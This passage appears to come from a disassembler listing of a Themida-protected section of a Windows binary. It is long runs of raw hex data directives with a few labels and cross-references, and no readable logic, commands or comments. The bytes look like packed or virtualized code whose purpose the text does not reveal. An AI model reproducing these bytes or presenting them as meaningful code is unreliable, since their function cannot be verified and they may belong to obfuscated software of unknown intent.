0AADF0E7Ah, 58F89DB9h, 0F46EB9C2h, 7874C2FBh, 0B000FC7Bh dd 5F7182FBh, 5A74FC7Bh, 969E0479h, 0ABB69C82h, 0A1CD40F7h dd 0F3CDFB61h, 0C075FD7Ah, 0BC75FD72h, 9D145789h, 0EFFE3DF1h dd 0D3B078F7h, 0D08AFB61h, 2AE9CA8Bh, 0C7000000h, 2404h dd 0E80000h, 5D000000h, 4AA8ED81h, 448B061Bh, 85890424h dd 6143219h, 0B8h, 798D8D00h, 0FF06144Dh, 6754B8E1h, 11E80000h dd 45000000h, 868FE50h, 0BEDF923Fh, 0A7B98E06h, 13933055h dd 5B1CE280h, 0BCB96660h, 0D2BF0F7Dh, 0D7C38161h, 0F00005Ch dd 11BED2B7h, 81000017h db 0D9h byte_5BD6DD db 46h, 8, 14h ; DATA XREF: Themida_:0054C0E0o dd 5833FF0Dh, 43EA8166h, 7EE881B6h, 81660E81h, 84A754C0h dd 7E808h, 90C60000h, 84E4B291h, 0C28156DBh, 201087BAh dd 0C0815959h, 75407DC8h, 500DF680h, 66038FF9h, 0EB81D18Bh dd 7DE03F20h, 1CABF281h, 0C3814683h, 7DE03F1Ch, 96BF6660h dd 61DE8B32h, 1EE81h, 850F0000h, 0FFFFFFA1h, 84E3CF81h dd 2EE90971h, 0B000000h, 21EEEFh, 0Ah dup(0) dd 5DFE900h, 2BB10000h, 6E654294h, 0B220FD4Fh, 0FBDAB709h dd 488F6CBEh, 0CEEA2375h, 76C8F5E2h, 2F813899h, 0E7398652h dd 9DEFCC0Ah, 1D030991h, 31580D33h, 0C412CF36h, 0E1E7AFF7h dd 51F1E7FBh, 0E7A1878Dh, 8DB551F1h db 0C7h, 9Fh, 70h byte_5BD7C3 db 6 ; DATA XREF: Themida_:00549544o dd 4920DEF9h, 31919ACFh, 64317911h, 0FA004871h, 51F2B714h dd 0C1D10028h, 0C314F2E4h, 5EF64EFAh, 0D531A5B2h, 0B70FBB02h dd 6D66731Fh, 0B30C7691h, 52EA6FBAh, 8ECC30A6h, 31A66076h dd 25983F8Ch, 41892179h, 2A596274h, 749B3D1Ah, 0F22F886Eh dd 2E141A51h, 4251F230h, 942C541Ah, 9C736542h, 0F22FB096h dd 49CC451h, 33864B58h, 0F2903287h, 656C9E3Ah, 8D6ABC54h dd 80C67249h, 51F22F9Dh, 4E450519h, 0FEEDAA17h, 6DE7h dd 0C412FE00h, 1FE7AFF7h, 0F1E83319h, 991F4751h, 51F1E7B3h dd 6709FC7h, 0F1E7DCC0h, 4465A51h, 0EDF1D68Fh, 128FEh dd 123F0000h, 4350FCC1h, 79812D90h, 0BD016CA2h, 0E228AC59h dd 4AB02D1h, 6A75A4E4h, 2CA24E6Bh, 61728AC8h, 0AA1219Dh dd 0EA42EECBh, 88981893h, 0DAE0A8F0h, 51F22EF4h, 11AC2B08h dd 46750D65h, 3E7D5936h, 0C51233ECh, 943F4CF8h, 0A4AA6374h dd 51F1E7BEh, 6612AAD2h, 0A615C10Eh, 5E0AA2FAh, 0CA07D4ECh dd 8936A2EFh, 45685DDh, 9429AE46h, 0F3A6754Ch, 59EEDB3Bh dd 6B421A2Ah, 0C35EDF7Fh, 590BA018h, 0C139449Bh, 874F5A89h dd 577B8834h, 834F1C64h, 189F0938h, 0CEA554F6h, 375C0ACh dd 26E9D00h, 0FEED1073h, 66ABh, 0C512C200h, 933F4CF8h dd 0B15D6073h, 9F15C159h, 0F2E51F3Bh, 0E82F151Bh, 1B4351F1h dd 8C593183h, 70C87445h, 6CA13641h, 0F1E88066h, 0D46C9451h dd 0FFBA1B28h, 0E8AACC53h, 0EDEF82F3h, 2E34FCFEh, 51F1F248h dd 9F05345Ch, 58h, 894A17B6h, 0DDFA0534h, 0B12734E0h, 962E620Eh dd 7FAE0DC9h, 0D76D2Dh, 17B26BBDh, 832F8C4Ah, 0E2F1FC2Bh dd 5A272FDBh, 7D94407Dh, 9995B84Ch, 507F1784h, 0F24C290Ch dd 0F191A551h, 5A657340h, 0BB2756AEh, 0FEED8DAAh, 0E6ECB4h dd 1451F258h, 157BDECh, 6E000000h, 33884A17h, 0E2D9F904h dd 0EAD2936h, 0FE23EFC6h, 0D8FF48C2h, 94EA3FA9h, 0FBBFF5CCh dd 6FA63332h, 0F26503E9h, 0A2EF1751h, 85A8936h, 0E7EAB74Ah dd 81CE26D2h, 2E396857h, 0E9C517A4h, 858BD37Bh, 57E57F6Eh dd 20060CE4h, 34580680h, 0C0C8740Ch, 800CF2F8h, 39205806h dd 3A078B6Ah, 0B5029AECh, 616C9B22h, 17F44675h, 0E7B4FCBFh dd 349ECDF0h, 6A30AEEh, 7C3F9358h, 0DCC2C8D0h, 0F05806A2h dd 5F5A7BC8h, 0B9D93DB3h, 0A2E0C438h, 1D6F4C8Ah, 79259640h dd 9516A6Ch, 7420993Ch, 1183ED1Ch, 7F57EDADh, 3B12EA3Ch dd 0B5772AF6h, 50BCEB5Bh, 0F8D95B15h, 1B4E9h, 0C414E100h dd 0C8F74FFBh, 3AA513E1h, 1FB66BCFh, 3F96EE9Ah, 206D1FD7h dd 15905B6h, 53592169h, 51F2D06Dh, 242A5981h, 0C5488F5Ch dd 0F2CFD9BFh, 2DC5ED51h, 0CFF9DFE5h, 0E50D51F2h, 0F53B72B6h dd 0C9F157E5h, 77D1AA81h, 70F93032h, 0DE0DB023h, 4C6F6774h dd 2B91DFAh, 2E8D4956h, 0EEAC1082h, 0E93B8056h, 5D434911h dd 715807B0h, 0B7AE1A49h, 47F8D829h, 87h, 0CC40175Eh, 4C1D95B4h dd 0ED5A6493h, 8AA98F95h, 353B51F2h, 51F28B4Fh, 4D753B63h dd 0A0966DB5h, 3C558105h, 383E4473h, 0D1F2C372h, 6A721E46h dd 5D988C93h, 80AF2611h, 0F2E1563Ch, 94B6DAD1h, 0FD8A8E65h dd 8AF5EA57h, 89E4515Bh, 8ED66E4Dh, 0E3DAF9C6h, 13A82A37h dd 48770F67h, 0F27C3E04h, 0BBB99051h, 49163688h, 0AFD75B8Ah dd 0C03C9A67h, 0FB3695ADh, 579F374Ah, 0F2016B51h, 28577F51h dd 0B73A18h, 13910000h, 299244A5h, 2CC4F5DCh, 0FDC017E4h dd 0C4CAF951h, 18A32FFCh, 6BA79EC1h, 1443E6A5h, 0E54A15D0h dd 0F1E6C357h, 30C820CCh, 23AF7C84h, 785E6998h, 4C19F143h dd 7B883485h, 5EB6625Dh, 4A8C97C6h, 0F0BDC571h, 1128D4E5h dd 5B27A0FAh, 0B2E179DEh, 6268D6Eh, 4505E958h, 429427AFh dd 48F866h, 0FE909CFAh, 1EB3905Dh, 0F3BB039Bh, 217107EDh dd 0AD93995Eh, 0C15E2170h, 7CABD399h, 2BD10512h, 0DD128B33h dd 43CE0E7Fh, 0BFC17BD2h, 8E9B47DFh, 0BFCC7845h, 0C5F9A518h dd 0AB40A1E1h, 6C4D8855h, 0BC1B68C0h, 0C280D201h, 0C911BD2Bh dd 19B365C3h, 0DF315964h, 0F9A51326h, 1B21E9B1h, 51F1E835h dd 0AEF22149h, 57EA5250h, 63701C44h, 19F64873h, 0C52FEBDh dd 7FA2F25Eh, 4DFC9E02h, 36655680h, 2151AB2Bh, 59640088h dd 0C06C4F87h, 0E638D068h, 0A6EECD09h, 0EFF2D8DEh, 1F068002h dd 0A0258EDCh, 79A84003h, 0E6D3020Fh, 743E53Ah, 80D2E9EDh dd 0C2FDDBA8h, 848FBE16h, 0B5BD6952h, 23CFF0E8h, 0C62F151Bh dd 1B438003h, 3485483h, 9F000000h, 0CA127DE4h, 9A3C49F5h dd 70687521h, 3B96A34Fh, 12C5D27Eh, 0E5F2FFABh, 0B61F2CD8h dd 884A5703h, 597A8733h, 5733B864h, 0C781E789h, 4, 4EF81h dd 3C870000h, 34895C24h, 0E0895024h, 405h, 4E88300h, 5C240487h dd 83242C89h, 1C8904ECh, 0DE685224h, 5A13C731h, 484EE281h dd 0CA812850h, 8AF4101h, 0AD0BB53h, 0DA310EF4h, 5AD5895Bh dd 241C8B54h, 4C481h, 0EC830000h, 242C8904h, 0FF08438Fh dd 835B2434h, 2C8B04C4h, 0E3895324h, 4C381h, 0C3810000h dd 4, 5C241C87h, 0F92CA6E9h, 0E8A395FFh, 50F8B806h, 0C503061Bh dd 0C80AE0FFh, 988F597Fh, 0C1474D19h, 903E6AFBh, 0DCEF1829h dd 72D44FF9h, 30051ECBh, 486009A2h, 6D340D38h, 43161D11h dd 0D56E373Bh, 3DFE635Fh, 0DFE9222Bh, 0CE000000h, 825FB10Eh dd 3D1A6C51h, 0F7D42695h, 0AC89DBDEh, 740922Bh, 0E5D8FFB1h dd 9E1BB693h, 56696F4Ch, 0CAF2704h, 2026AEBAh, 580D393Ah dd 12EC534Eh, 0DB4AF6C3h, 8E2CFED5h, 89EC17B5h, 83864F5Ah dd 0F25A977Dh, 2C83AB51h, 0CACC9E6Bh, 80D26A27h, 0F1EB896Ah dd 81F1D351h, 0B37B5033h, 3461C7ADh, 84B3DB52h, 759F9E40h dd 81A66A50h, 2CF450B8h, 0B8814026h, 5B775452h, 0BE71C860h dd 2AE82B02h, 1ECDD908h, 5000000h, 0B151373Dh, 3D6552B8h dd 6E4495E6h, 0F7260B7Ah, 494F1710h, 51F1E863h, 0E7204F77h dd 0F5CA1280h, 219A3C49h, 4F706875h, 7E3B96A3h, 0AB12C5D2h dd 0D8E5F2FFh, 3B61F2Ch, 33884A57h, 64597A87h, 0BC6833B8h dd 0E9061B51h, 0FFF92B8Fh, 0A21B1AE5h, 0EE0E933Dh, 8D8DD394h dd 61B536Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 0EDC35242h, 86672CAAh, 0EBC944DBh, 298D8938h, 60061432h dd 6800Fh, 0F6810000h, 74E442D8h, 1D718D01h, 0C7610614h dd 14064D85h, 6ACC06h, 68B0F00h, 8B000000h, 140AE5B5h dd 7185C706h, 61426h, 0E8000000h, 0Eh, 0E7EDD2A4h, 8CBE252Eh dd 53100136h, 0BF66D05Ah, 0FF5AD921h, 143099B5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0DB81BC6Ah, 678DF9BBh, 6E9h, 0C3EA2D00h, 0FF79A163h dd 14236195h, 0DE906h, 0E9DC0000h, 0BD8393A0h, 0E1A7559Ch dd 6AB7B97Eh, 6995FF00h, 8B061411h, 9F3BEBC0h, 3EED1340h dd 4BD80435h, 0ACDC0DBFh, 34C35560h, 2FE4FB4Bh, 1D438B54h dd 0B3AA3A1Eh, 0BED8E139h, 925C1DC9h, 7B541F0Eh, 84084749h dd 0DE4CBFh, 0AB2746B0h, 3287D441h, 8D8DC09Ch, 61B547Bh dd 2C559D8Bh, 8D890614h, 6143229h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 0B7C35040h, 0B52DFAEDh, 9F9C7F83h dd 6830F63h dd 89000000h, 14318D8Dh, 8166FC06h, 0C76715EEh, 14064D85h dd 6FCC06h, 0CEF28100h, 0C77BDB9Bh, 14267185h, 6, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 3C326768h, 11FB06A5h, 29D8D09h, 0B5FF0614h, 6140D49h dd 236195FFh, 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 604EB4C3h, 612EEBE7h, 8D016075h dd 6140665h, 17199D29h, 6A610614h, 6995FF00h db 11h, 14h word_5BE05A dw 8B06h ; DATA XREF: Themida_:00548E7Co ; Themida_:0054B664o dd 3E49EBC0h, 0FABF82E9h, 0BFB665E7h, 6A01508Eh, 2F68ABF0h dd 0A8A40F88h, 7CC86599h, 0BC08EFE2h, 0E74DD18Ah, 3D36E0CEh dd 0CCBE655Fh, 0BAB54AD9h, 5EA2C24Dh, 9ADFC48h, 992E7378h dd 492FCFF3h, 0AC3008C3h, 0FC88B654h, 81CDB06Dh, 16EBh dd 4 dup(0) dd 1010000h, 3C0h, 6A061Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 446B73C3h, 0E2912059h dd 0FAEE932h, 889h, 2890F00h, 50000000h, 9995295Bh, 50061413h dd 0BE8h, 518E6E00h, 1D708E9Fh, 8A34743Dh, 0B0595260h dd 89596138h, 8E0F2404h, 5, 0E8C0C8BFh, 6A006A74h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 0B7C0C350h, 0FA34241Ch, 0BD89658Eh, 614106Dh, 0D71B589h dd 6A0614h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 0C3C35040h, 8D5C5E0Eh, 1B563785h, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 66377709h, 90FEEEBFh, 5800Fh, 46BA0000h, 507C5470h dd 0A991ADBAh, 6A904Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 787F3FC3h, 8FBB1B19h, 6A21556Eh dd 9840F00h, 0F000000h, 382h, 17CB8000h, 0D78B006Ah, 1A7195FFh dd 0BD2B0614h, 6142195h, 648E9h, 14E900h, 9D50000h, 0AA3CE9B0h dd 24D5B0C5h, 0A1CE56CFh, 669F797Eh, 0E8A570h, 5D000000h dd 563CED81h, 9509061Bh, 6142F05h, 8559D33h, 6A0614h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 8B827DC3h, 0D180BAE1h, 46AC68C9h, 7E9A0BAh, 0BA000000h dd 5FF4B5A4h, 4813F92h, 45C8F424h, 398D8B5Fh, 5706142Dh dd 0CCFABB66h, 6995FF5Bh, 9061411h, 142C758Dh, 0CBB58D06h dd 6A061B54h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 0D320C351h, 3BE387BBh, 0D1744846h dd 13E9h, 0A4625800h, 88E1491Dh, 0E6B1B0A1h, 25238E10h dd 0D0636451h, 0C7D98B66h, 67655206h, 55006A6Dh, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 5172DD1Dh, 60E3731Bh, 0FE8h, 0B1746800h, 325BC362h dd 0B69F8908h, 1A5BAB71h, 784CBB66h, 46C7615Fh, 636E6F04h dd 0BF0F606Ch, 0F5858BF9h, 6106140Fh, 610846C7h, 1007373h dd 1423B5B5h, 8B006A06h, 141009BDh, 0CB858D06h, 6A061B54h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0CDD9C356h, 0ECC59E90h, 7224BB50h, 489610Eh dd 8DB50124h, 0E9061434h, 0Ch, 29FF1F5Fh, 0A638574Fh, 0C3B5112h dd 0E4D95FFh, 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 0EE8A0C3h, 27000000h, 9FAE40A4h dd 36F1D905h, 0FFE7A49Ch, 6D38021h, 0A1B5895Fh, 6606141Ah dd 0C00BF98Bh, 41840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 0DC6D70C3h, 0EC69220Ch dd 60DF8B60h, 5BA5EB81h, 0BD8B0FE4h, 61416EDh, 0D9816161h dd 5B0DF33Ch, 402E9h, 68DF8B00h, 0B304E217h, 74B55250h dd 0D68B310Fh, 481585Ah, 0FB1F1524h, 13E94Ch, 7AB70000h dd 81C01BF0h, 17F02684h, 0ADB00DCBh, 0C57A9A75h, 6995FF40h dd 8B061411h, 141D599Dh, 0CBB58D06h, 6A061B54h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 0F8ACC352h, 0BC5EEEh, 0C70B76EEh, 34383106h, 55006A36h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 4243BA0Bh, 0D598C63Ah, 0F28166FCh, 8B668FCFh, 0FE8C8h dd 9E300000h, 632BB765h, 6725089h, 0BD957ACAh, 128E0F4Eh dd 0E8000000h, 0Ch, 0FD99D02Dh, 0A20ADCC3h, 27551C16h dd 46C75B5Fh, 342D3704h, 8B27B531h, 142F159Dh, 846C706h dd 0 dd 19E1958Bh, 6A0614h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 0E3C35343h, 858D674Ah, 61B54CBh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0CAC35545h, 0E5CB4FEDh dd 26ADB9C3h, 66505E6Fh, 489F98Bh, 4D95FF24h, 6A06140Eh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 8B00C357h, 0FC00BFAh, 3384h, 0CF8B6600h dd 29AE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 5A7A41D9h, 0D92EB351h, 0D5858957h dd 5A061434h, 4E8h, 12C00h, 880F6000h, 1Ah, 14E8h, 0F12DFE00h dd 7ED09C22h, 7AA2061Ah, 59307B3Dh, 0D5DDBE84h, 0D4B15BEFh dd 5B95061h, 8B2A680Ah, 0E8042444h, 7, 255AF681h, 50190822h dd 0F5B5652h, 830F31h, 5A000000h, 8B5A58h, 89D88B66h, 66042444h dd 0E958D88Bh, 9, 7455D39Ah, 27F3F16Ch, 6995FF0Eh, 6A061411h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 6B21C352h, 0DDB2A0C2h, 758173A1h, 23D9958Bh dd 0B70F0614h, 0CBB58DD6h, 6A061B54h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 1F66C356h dd 0CEADEB7Ch, 0F59BDAEh, 68Bh, 11BD2300h, 0C7061426h dd 6C694606h, 55006A65h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 0A498BF70h, 0F9D0793h, 68Ch, 95858900h dd 0C7061429h, 6F6D0446h, 9501636Eh, 6141369h, 6C0846C7h dd 6A737361h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 0A947C356h, 31DE8730h, 140649B5h dd 0C46C706h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 76C35242h dd 415F3919h, 0FD950Bh, 66510614h, 3E1FD281h, 6A006A5Bh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 9B5AC356h, 794527D0h, 89786D54h, 1421F985h dd 0CB858D06h, 6A061B54h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 0E8B2C356h, 13h, 0C2BC00FAh dd 0DF979DFBh, 0E5CE52EDh, 51A59968h, 8B625DE4h, 1422718Dh dd 66505A06h, 89695DBAh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 0DE96FC3h, 0CB000000h dd 7CFDC8ECh, 0B2FA50C1h, 0F7B5399Fh, 0FF18E380h, 140E4D95h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 0F9A3B4EAh, 0F1C143Bh, 0C00BFEB7h, 12840Fh dd 23530000h, 142F0D95h, 10E95F06h, 0BF000000h, 443C0BEDh dd 0FFFA19E9h, 0A9C781FFh, 8D36ED11h, 1470F0B5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 3BD7AAE6h, 6B7FA85Ah, 0B8h, 0C58D0900h, 0FF06142Ah dd 0A5BD8BE6h, 89061416h, 1421D18Dh, 0E8C18B06h, 10h, 4ACC41F3h dd 0D33E63AAh, 0C4E4F2B9h, 0B66D5272h, 0CA9B589h, 895F0614h dd 140CD9B5h, 0B5C78106h, 68000072h, 1C80h, 19499589h dd 295E0614h, 1416D58Dh, 0E8078B06h, 0Fh, 51354D7Fh, 9496BC94h dd 0F64BD5Bh, 0FF72340h, 386h, 13DE8000h, 0ABE8815Bh, 662422FEh dd 0A214D281h, 0C69CE881h, 8D890662h, 6140FEDh, 860BE881h dd 789495Eh, 0EF81E88Ah, 114642D6h, 34A19501h, 0C7810614h dd 114642D2h, 880Fh, 0F4E0000h, 1285h, 1FE900h, 982F0000h dd 0C07830F4h, 61D00504h, 810D3987h, 9B1408E9h, 0FF83E964h dd 8D8EFFFFh, 0D96B3666h, 29E9AFh, 0E49D0000h, 5DCFh, 8 dup(0) dd 0E9000000h, 553h, 0FC4E716Bh, 0B709B41Fh, 71C3F8DAh dd 26784194h, 0DD2F8E49h, 3B9C14A4h, 7E533082h, 0CC0CE93Bh dd 12C4A1F3h, 0C34B57A9h, 0D44D7BDh, 89F0EB58h, 0AFF7C412h dd 99C8F5E2h, 8B5222Fh, 0BEFDD9B6h, 0EAD10512h, 66A2313Eh dd 4AA24E6Bh, 0DEF906B2h, 0AB2633DFh, 7E55620Eh, 0ABE7CB3Fh dd 6E2C9046h, 69BB00D6h, 0A912C491h, 6B76A5FDh, 2800526Dh dd 0E8745A60h, 0D50151F1h, 0B0F820E6h, 0F1E7C4AAh, 81B0D851h dd 0B15D6276h, 0E08C2DA4h, 93A9E98Bh, 0DEC4CA45h, 6151F1E7h dd 0C342E467h, 71995F8Bh, 2CAA87D9h, 4BF3D9DFh, 0DF0751F2h dd 72559B47h, 0EE51F24Ch, 4223B8DAh, 0BCFEED8Eh, 5Ah, 884A17D3h dd 0CFECE633h, 919CCB23h, 84CA7645h, 51F1E7A0h, 53480A1Eh dd 0FEEDF212h, 1ECh, 0C1120300h, 0EFE7B4FCh, 26339DCCh dd 576410ADh, 198F3B7Eh, 976495B5h, 77CF7B3Eh, 27963D48h dd 0C64017DFh, 0CC6D9F32h, 1307ED73h, 0F31B51F2h, 0FFD7B4C4h dd 54ECCF07h, 0C5124902h, 943F4CF8h, 0F30B7D29h, 9108501Ch dd 0F1209D80h, 774EE39Fh, 0D2CD8614h, 141F4E5Dh, 0D0A8FAC3h dd 0A137CF03h, 821A721Eh, 2D8E4853h, 0FAA27981h, 874D4745h dd 0AB188CE3h, 9E3AFF9h, 303CFDAh, 0A52EAD5h, 0E5E5F33h dd 0D504919Ch, 80C2E46Bh, 0EDA16A0Bh, 80B4FEh, 0DFAC0000h dd 0AE95C4F7h, 4CF8C512h, 0D4AB6D44h, 0B65F7A36h, 65567C87h dd 3485501Dh, 0C1259B05h, 9C6C6B81h, 7ED6823Bh, 0C2826327h dd 781047B0h, 2F8E4926h, 5A5F7683h, 8837A1AEh, 0B306CFDCh dd 0E4D9FA07h, 2988CA2Eh, 89024062h, 0FEEDCCECh, 4B32h dd 0C5124900h, 993F4CF8h, 62467A26h, 0F2CB0C20h, 0FA00C8A0h dd 51F1E814h, 0C18736A1h, 0E7FDE3E9h, 0E91151F1h, 56D7FA51h dd 0A90F3914h, 0C112937Ah, 270A50FCh, 0A351F1E8h, 713EF38Fh dd 51A95564h, 0F1AFB622h, 14FFEEDh, 66000000h, 4FFBC012h dd 7B279442h, 0CF03D026h, 0B9E840ECh, 0C1112B67h, 932B9245h dd 455F744Bh, 2484BC90h, 9B09E5F5h, 8EA5ABF3h, 457E55Eh dd 10C794DCh, 32DEDFF8h, 899642DAh, 6FC7734Ah, 313EA8D7h dd 0E7C416A5h, 0BC84CCEFh, 65ED0B6h, 45745D58h, 0CD0A577Fh dd 0BDEC44F0h, 5F290D53h, 0A78B5806h, 888E56EBh, 58065EA2h dd 96418EB6h, 0E9EDF827h, 45B38AD2h, 0E8F5249Bh, 0FED6E615h dd 6A16A531h, 0FED8E312h, 2AA875BDh, 195948D2h, 0E57D7863h dd 3E94E139h, 0DCE44E7Dh, 5F280E14h, 6CAB5806h, 3AB3CD90h dd 103F672Dh, 3EEAD105h, 0E6ECB4CCh, 5806E200h, 369FEC14h dd 507FD783h, 0E0AD5CFEh, 8C97C6F7h, 0E11F714Ah, 0F8D8F784h dd 1157Ah, 0A5139100h, 0E85D4349h, 497151F1h, 2C6369B1h dd 0E257E50Eh, 0C99B72BAh, 1CA132F7h, 0F2315EC5h, 8A4C59C3h dd 0D402DF31h, 5C333BE7h, 1197D7D6h, 55608F76h, 1C8E3A81h dd 74629AB8h, 0AEB7F547h, 50F8D944h, 40h, 0F8A61367h, 0B61BE8B0h dd 0E8674D53h, 537B51F1h, 88B70FBBh, 0F1E87E44h, 7E2A52D1h dd 0F1E85238h, 90B2D6D1h, 0FA42F05Dh, 0F1E82EF4h, 88DA0251h dd 99AAh, 0C315E200h, 9629AFFCh, 7C6392EAh, 0B1F9A513h dd 20CCEDE4h, 50FCBF13h, 2B3160F8h, 0E5116A25h, 9D3B1857h dd 861E7622h, 8A70763Eh, 9E5805F0h, 0F0DAC0C6h, 0C6EE5805h dd 8895FF2Eh, 3E1B6D4Eh, 57646E98h, 34FC53ABh, 128DB571h dd 99DF8B23h, 5806D6B8h, 0DA123014h, 956DBFFCh, 83B20BC8h dd 1B630B79h, 0FF33F815h, 96426A5Dh, 0AA11C18Eh, 6C77A6FEh dd 3209516Ah, 78525991h, 4FB9E800h, 33A58FAh, 1BA43495h dd 18353B83h, 8A641B25h, 6B381062h, 51A95568h, 0A5133B22h dd 8EABB1F9h, 57EA44h, 0B71F2CD8h, 45684E54h, 547C580Dh dd 498D6ABCh, 3E80C672h, 1A13C0CAh, 766094B6h, 0A530FD45h dd 0E1106814h, 0D222F9D1h, 709D2F54h, 0DC9D403h, 0E0F502AEh dd 0FCC991D9h, 0E23AE6D7h, 0E157765Ch, 0ACB28AB3h, 0B3E156C6h dd 0EB1AB2DAh, 0C88A2C81h, 0C719A234h, 87CFECEAh, 0A9A438B0h dd 5F65BD84h, 0F1273259h, 52BCEB83h, 0C44h, 40179B00h dd 0BF9411F3h, 0C7002F76h, 0F5CA1260h, 219A3C49h, 4F706875h dd 7E3B96A3h, 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch, 33884A57h dd 64597A87h, 895233B8h, 4C281E2h, 83000000h, 148704EAh dd 24248B24h, 1B3F68h, 243C8900h, 81E38953h, 4C3h, 4EB8300h dd 5C241C87h, 52242C89h, 992677BAh, 81DAF726h, 1C3490F2h dd 0C0F28141h, 813AA243h, 0BD5180EAh, 3481529Ch, 6B1DB624h dd 0F7815F09h, 96B1DB6h, 4EC815Ah, 89000000h, 4832424h dd 575D0424h, 6C4BB951h, 4C293713h, 8F590424h, 45810845h dd 136C4B08h, 242C8B37h, 81E38953h, 4C3h, 4C38300h, 5C241C87h dd 52243C8Bh, 0C281E289h, 4, 4C281h, 14870000h, 7CE95C24h dd 8DFFF91Bh, 7FF8D30Fh, 0B875623Bh, 61B61FBh, 0E0FFC503h dd 1915F1DDh, 111C0EBEh, 4F4BC774h, 78CBAABFh, 53836A7Ch dd 2E2C260Bh, 62C403Ah, 458AB215h, 3823742Ch, 92385B8h dd 7FCAF697h, 52698E10h, 787B0069h, 0BE75682h, 15E403Fh dd 6EC03AACh, 733F48F5h, 7C320CF4h, 5242CAFEh, 0DA21A80Ah dd 52898A4Eh, 0D5ABA80Ah, 536175EAh, 0DB2FA80Ah, 5DBA8A4Eh dd 0DB8457AEh, 50518A4Eh, 0D5ABA80Ah, 501875EAh, 0D8CAA80Ah dd 509A8A4Eh, 0D974A80Ah, 511C8A4Eh, 0D5ABA80Ah, 2F2575EAh dd 313080D4h, 5DC00313h, 0A752B333h, 0B9211C90h, 29D12157h dd 2F439176h, 313045D4h, 0A5C00313h, 0A752B332h, 0B920CF90h dd 25D12157h, 2F439176h, 313134D4h, 0B1C00313h, 0A752B332h dd 0B9207B90h, 31D12157h, 2F439176h, 31329DD4h, 0BDC00313h dd 0A752B332h, 0B923F490h, 0DD12157h, 2F439176h, 313217D4h dd 89C00313h, 0A752B332h, 0B9228A90h, 5D12157h, 2F439176h dd 3133E9D4h, 91C00313h, 0A752B332h, 0B922F090h, 1DD12157h dd 0C3439176h, 2A5012B8h, 4ECEDF15h, 4AA86CD2h, 0A2458AFDh dd 0C0D5F251h, 0A45EE9F7h, 2AA8ED96h, 29458A15h, 0E367A024h dd 0ADBAB496h, 2A54A1D5h, 64C6CB15h, 0D5BA4155h, 63CE75EAh dd 6713AAEh, 42848C01h, 2211AB53h, 5D55FFEAh, 3AABA424h dd 0C3B9CF9Ch, 0E3A8EDDAh, 0F74586D7h, 0EED744DAh, 0D7CEEAE9h dd 26292359h, 0A2B9CFD2h, 6C54A851h, 0A24162ADh, 0EA660351h dd 2FEE27BFh, 31117EDBh, 12947513h, 0A0D90201h, 0A45ECFC3h dd 0A1EC79AEh, 941AE51h, 6F8222DCh, 73BA8C0Eh, 2ADF1037h dd 28C82173h, 2C4FED87h, 2BFD5BEAh, 81508C15h, 0E7930098h dd 0FBABAE4Ah, 89EFD2A5h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh dd 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A45EEEB7h dd 0A15CDDDAh, 0E7828668h, 2A54A8ADh, 30BACC15h, 2C40893Ch dd 69CE529Eh, 0B99783FCh, 31EFE2A5h, 0A0D9F9FAh, 0A45ECFC3h dd 9A0D79AEh, 1A232094h, 81328C55h, 0DF6E2184h, 0D629215Dh dd 5E000174h, 2A5C6A98h, 21A90140h, 0C2345495h, 0A2458A15h dd 0D3BE290Bh, 29439171h, 57DFA024h, 5E004D19h, 2A54A851h dd 0CFD77553h, 0A152BC70h, 69CE19CDh, 0B9979BFCh, 31EFE2A5h dd 0A0D9F9FAh, 0A45ECFC3h, 9A0D79AEh, 1A232094h, 81328C65h dd 0DF6E2184h, 0D629215Dh, 5E000174h, 2A5C6A98h, 21A90140h dd 0A1345495h, 0DFCE8260h dd 0D6116F5Dh, 0A2458A15h, 